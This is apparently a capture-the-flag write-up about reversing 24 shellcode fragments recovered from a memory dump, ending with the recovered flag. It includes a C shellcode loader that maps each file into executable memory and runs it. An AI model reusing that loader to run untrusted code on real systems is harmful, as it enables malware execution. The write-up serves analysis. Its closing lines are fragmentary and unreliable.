 cd .. .\injector.exe 192.168.1.65 .\run.exe .\storage cd .\server\ .\run.exe block1 .\run.exe block0 cd Z:\zn_2019\ cd .\server\ cd .. .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd .. touch echo echo qwe echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ injector.exe 1921.68.1.65 injector.exe 192.68.1.65 ./injector.exe 192.68.1.65 .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\server\ run storage .\run.exe .\storage cd Z:\zn_2019\server\ .\run.exe block1 cd Z:\zn_2019\server\ .\run.exe block0 cd .. .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\Injector2.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 .\injector2.exe 192.168.1.65 cd Z:\zn_2019\ .\Injector2.exe 192.168.1.65 '.\ConsoleApplication5 (2).exe' 192.168.1.65 

Not Important note:


Not sure what SIGN.MEDIA is, but it looks like a cached file list from VirtualBox Network Share (Is this from Windows Registry?).


 SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=138A400 zn_2019\Injector2.exe SIGN.MEDIA=138A400 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=138A400 zn_2019\NOTE1.exe SIGN.MEDIA=138A400 zn_2019\NOTE1.exe SIGN.MEDIA=138A400 zn_2019\With_little_debug.exe SIGN.MEDIA=138A400 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=138A400 zn_2019\injector.exe SIGN.MEDIA=138A400 zn_2019\nnnn.exe SIGN.MEDIA=138A400 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=138A400 zn_2019\note.exe SIGN.MEDIA=138A400 zn_2019\note2.exe SIGN.MEDIA=138A400 zn_2019\note3.exe SIGN.MEDIA=138A400 zn_2019\note4.exe SIGN.MEDIA=138A400 zn_2019\random.exe SIGN.MEDIA=138A400 zn_2019\z.exe SIGN.MEDIA=17582C zn_2019\Injector2.exe SIGN.MEDIA=17582C zn_2019\injector.exe SIGN.MEDIA=196C2 zn_2019\server\run.exe SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C176B0 zn_2019\Injector2.exe SIGN.MEDIA=1C176B0 zn_2019\injector.exe SIGN.MEDIA=1C176B0 zn_2019\note.exe SIGN.MEDIA=1C176B0 zn_2019\note2.exe SIGN.MEDIA=1C176B0 zn_2019\note3.exe SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C1D02C zn_2019\Injector2.exe SIGN.MEDIA=1C1D02C zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C1D02C zn_2019\With_little_debug.exe SIGN.MEDIA=1C1D02C zn_2019\injector.exe SIGN.MEDIA=1C1D02C zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C1D02C zn_2019\note.exe SIGN.MEDIA=1C1D02C zn_2019\note2.exe SIGN.MEDIA=1C1D02C zn_2019\note3.exe SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C1DAB0 zn_2019\Injector2.exe SIGN.MEDIA=1C1DAB0 zn_2019\With_little_debug.exe SIGN.MEDIA=1C1DAB0 zn_2019\injector.exe SIGN.MEDIA=1C1DAB0 zn_2019\note.exe SIGN.MEDIA=1C1DAB0 zn_2019\note2.exe SIGN.MEDIA=1C1DAB0 zn_2019\note3.exe SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C30058 zn_2019\Injector2.exe SIGN.MEDIA=1C30058 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C30058 zn_2019\With_little_debug.exe SIGN.MEDIA=1C30058 zn_2019\injector.exe SIGN.MEDIA=1C30058 zn_2019\injector.exe SIGN.MEDIA=1C30058 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C30058 zn_2019\note.exe SIGN.MEDIA=1C30058 zn_2019\note2.exe SIGN.MEDIA=1C30058 zn_2019\note3.exe SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C89400 zn_2019\Injector2.exe SIGN.MEDIA=1C89400 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C89400 zn_2019\NOTE1.exe SIGN.MEDIA=1C89400 zn_2019\With_little_debug.exe SIGN.MEDIA=1C89400 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=1C89400 zn_2019\injector.exe SIGN.MEDIA=1C89400 zn_2019\nnnn.exe SIGN.MEDIA=1C89400 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C89400 zn_2019\note.exe SIGN.MEDIA=1C89400 zn_2019\note.exe SIGN.MEDIA=1C89400 zn_2019\note2.exe SIGN.MEDIA=1C89400 zn_2019\note3.exe SIGN.MEDIA=1C89400 zn_2019\note4.exe SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C8A800 zn_2019\Injector2.exe SIGN.MEDIA=1C8A800 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C8A800 zn_2019\NOTE1.exe SIGN.MEDIA=1C8A800 zn_2019\With_little_debug.exe SIGN.MEDIA=1C8A800 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=1C8A800 zn_2019\injector.exe SIGN.MEDIA=1C8A800 zn_2019\nnnn.exe SIGN.MEDIA=1C8A800 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C8A800 zn_2019\note.exe SIGN.MEDIA=1C8A800 zn_2019\note2.exe SIGN.MEDIA=1C8A800 zn_2019\note3.exe SIGN.MEDIA=1C8A800 zn_2019\note4.exe SIGN.MEDIA=2D702C zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=3EDC2 zn_2019\server\a.exe SIGN.MEDIA=3EDC2 zn_2019\server\hui.exe SIGN.MEDIA=3EDC2 zn_2019\server\run.exe SIGN.MEDIA=4482C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=4482C zn_2019\PEview.exe SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=5B0058 zn_2019\Injector2.exe SIGN.MEDIA=5B0058 zn_2019\injector.exe SIGN.MEDIA=5B0058 zn_2019\note.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Discord.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Far.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\FileZillaFTPclient.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\InputDirector.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\KeePass.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\PicPick.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Skype.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\UpdateManager.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\VBoxManager.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\idaq.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\javaw.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\lunix.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\paint.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\python3.7.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\r.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\svghost.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\tsm.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\usha.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe SIGN.MEDIA=AB82C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=AB82C zn_2019\injector.exe SIGN.MEDIA=B06D4C64 zn_2019\server\a.exe SIGN.MEDIA=B06D4C64 zn_2019\server\hui.exe SIGN.MEDIA=B06D4C64 zn_2019\server\run.exe SIGN.MEDIA=B06D4C64 zn_2019\server\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe SIGN.MEDIA=BA802 zn_2019\server\run.exe SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=E00058 zn_2019\Injector2.exe SIGN.MEDIA=E00058 zn_2019\injector.exe SIGN.MEDIA=E00058 zn_2019\note.exe SIGN.MEDIA=E00058 zn_2019\note2.exe SIGN.MEDIA=E00058 zn_2019\note2.exe SIGN.MEDIA=E9982 zn_2019\server\run.exe 

I used my old tool to get filesystem structure out of NTFS records (a lot of FILE records usually cached in RAM).




data_storage is small enough to contain some resident $DATA inside FILE record, so we can extract it.


This file contains shellcode. All it does is resolving CreateNamedPipeA by hash using special function (see Figure below) and calling it with "\.\pipe\zn_shell_stor" argument.



I highlighted part of this function, this bytes can be used to located other 24 shellcodes inside memory dump.


One of shellcode #21 contained references to other, it is probably the main one.


 Global\vtHAjnNbCecOeNAnVeQFmdRw Global\jGzXXZJbXGPYniopljDEdwuD Global\jpBuyMNJzdnpwHimVlcBkwGo Global\ArlCJOxJFOKRkqOLcBhvjYqj Global\THxjCBohxSlNgCFbwJsHujqk Global\BOiJhsLFBuZdsFdCrLKEucpJ Global\iYxszVIFfsuzzEmGwgOQeEcb Global\NOluZoXPJalShopCCuNnWQbR Global\GCrtPmNEAOsZpSNNBdiYQfgz Global\pVVgeqcREhXSgKCwhkeyfTXw Global\trsQPehKvlxBJhEqIPtwzjxi Global\ngVrhgAEqcDssFsNerrAZsFz Global\KiZvGyiMnyTgvQdFNGcudfTY Global\FzXvKPKGCPMAERklFMXVMYga Global\nCZpFZPtyidhFOvVeemfyJAC Global\pjRmfOLLBXIbsJholoasvrqC Global\mhOVYcYRKgWdABAsgkvrcOOM Global\syGiShcLTXfQYGAAiafYBxoF Global\KbFVsPCPZrfVlUIQlvVoJLXW Global\XbuYiHCxQLTLApuToFldJIgI Global\auFqpIQAlsHcvjPEakqHyIeA Global\MrnXOMJvHmYBxRfkbLBUYWgn Global\GYVOmvrLhCpgQUPfnOshzzem Global\qaswedfrtghyujkiol121232 \\.\pipe\zn_shell_stor 

Every shellcode is started with CALL $+X instruction (E8 ?? ?? ?? ??), followed by data block and executable code. Code is looking for some functions and evaluates logic based on data read from pipe "\.\pipe\zn_shell_stor" .


FileTagsMutex
b1mov movGlobal\GCrtPmNEAOsZpSNNBdiYQfgz
b2SBOX "axfksyBLjRfMFZXdINqyTXcekgCxPRNpKtmTAj SUdmElMsuKYkmFYbJxSbXwxmvQ"Global\NOluZoXPJalShopCCuNnWQbR
b3inc byte [rbp+0Ch]Global\ngVrhgAEqcDssFsNerrAZsFz
b4repne scasb strlen() == 18Global\jpBuyMNJzdnpwHimVlcBkwGo
b5??Global\ArlCJOxJFOKRkqOLcBhvjYqj
b6xor BUFFER "\x31\x2A\x72\xC8\x5E\x08\xC5\xFE \x07\x44\xCB\xEB\x76\x3B\xE1\x3A\x83"Global\MrnXOMJvHmYBxRfkbLBUYWgn
b7??Global\GYVOmvrLhCpgQUPfnOshzzem
b8cmp word [rbp+0Ch], 12hGlobal\KbFVsPCPZrfVlUIQlvVoJLXW
b9??Global\BOiJhsLFBuZdsFdCrLKEucpJ
b10??Global\iYxszVIFfsuzzEmGwgOQeEcb
b11cmpGlobal\pjRmfOLLBXIbsJholoasvrqC
b12add xor cl x2Global\nCZpFZPtyidhFOvVeemfyJAC
b13inc [rbp+0Ch]Global\auFqpIQAlsHcvjPEakqHyIeA
b14dw[rbp+0Ch] = dw[rbp+0Ch] + dw[rbp+0Ch]Global\syGiShcLTXfQYGAAiafYBxoF
b15WIN! Sleep BeepGlobal\XbuYiHCxQLTLApuToFldJIgI
b16save byteGlobal\mhOVYcYRKgWdABAsgkvrcOOM
b17add xor cl x2Global\FzXvKPKGCPMAERklFMXVMYga
b18zero rbp (0, 211h, 80h)Global\trsQPehKvlxBJhEqIPtwzjxi
b19??Global\KiZvGyiMnyTgvQdFNGcudfTY
b20Read from C:\beeps\flag.txtGlobal\vtHAjnNbCecOeNAnVeQFmdRw
b21MAIN
b22XorGlobal\THxjCBohxSlNgCFbwJsHujqk
b23cmp dw[rbp+0Ch], 256 decGlobal\pVVgeqcREhXSgKCwhkeyfTXw
b24beep(1000, 1100)Global\jGzXXZJbXGPYniopljDEdwuD

Understanding of shellcode actions is a little bit hard because everything tied together via pipe (A calls B, B calls C and etc.). We are required to jump from one shellcode to another during reversing.


I decided to execute it all and see what happens. All shellcodes was saved as files bN , where N is a number in range from 1 to 24 in order of appearing in memory dump. Dump #21 is the main dispatcher (it must be loaded first). File C:\beeps\flag.txt should be present in system for #20 to work.


 #include <windows.h> void load_shellcode(int index) { FILE* fp; DWORD dwThread; int size; CHAR filename[32]; sprintf_s(filename, "b%i", index); fopen_s(&fp, filename, "rb"); fseek(fp, 0, SEEK_END); size = ftell(fp); fseek(fp, 0, SEEK_SET); LPVOID pMem = VirtualAlloc( NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); printf("Loaded %i | size=%i | at %p\n", index, size, pMem); fread(pMem, 1, size, fp); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMem, 0, 0, &dwThread); fclose(fp); } int main() { load_shellcode(21); Sleep(1000); for (int i = 1; i <= 24; i++) { if (i == 21) continue; load_shellcode(i); } while (1) Sleep(1000); } 

I created C:\beeps\flag.txt with some dummy content (length is 17 as hinted by one of the shellcodes) and also set a breakpoint at module doing xor with buffer (#6).


Program executed and flag showed up in memory after XOR operation.


Flag: zn{$ucH SL0W !pC}


sysenter 6 . .


Algumas estatísticas


. 136 .


.
— ASR-EHD Digital Security . (AV1ct0r), 22 15 .


Protected Shell RuCTFE. — 10. vos, 1 26.


, . 12-13 ZeroNights .

Source: https://habr.com/ru/post/pt472416/


All Articles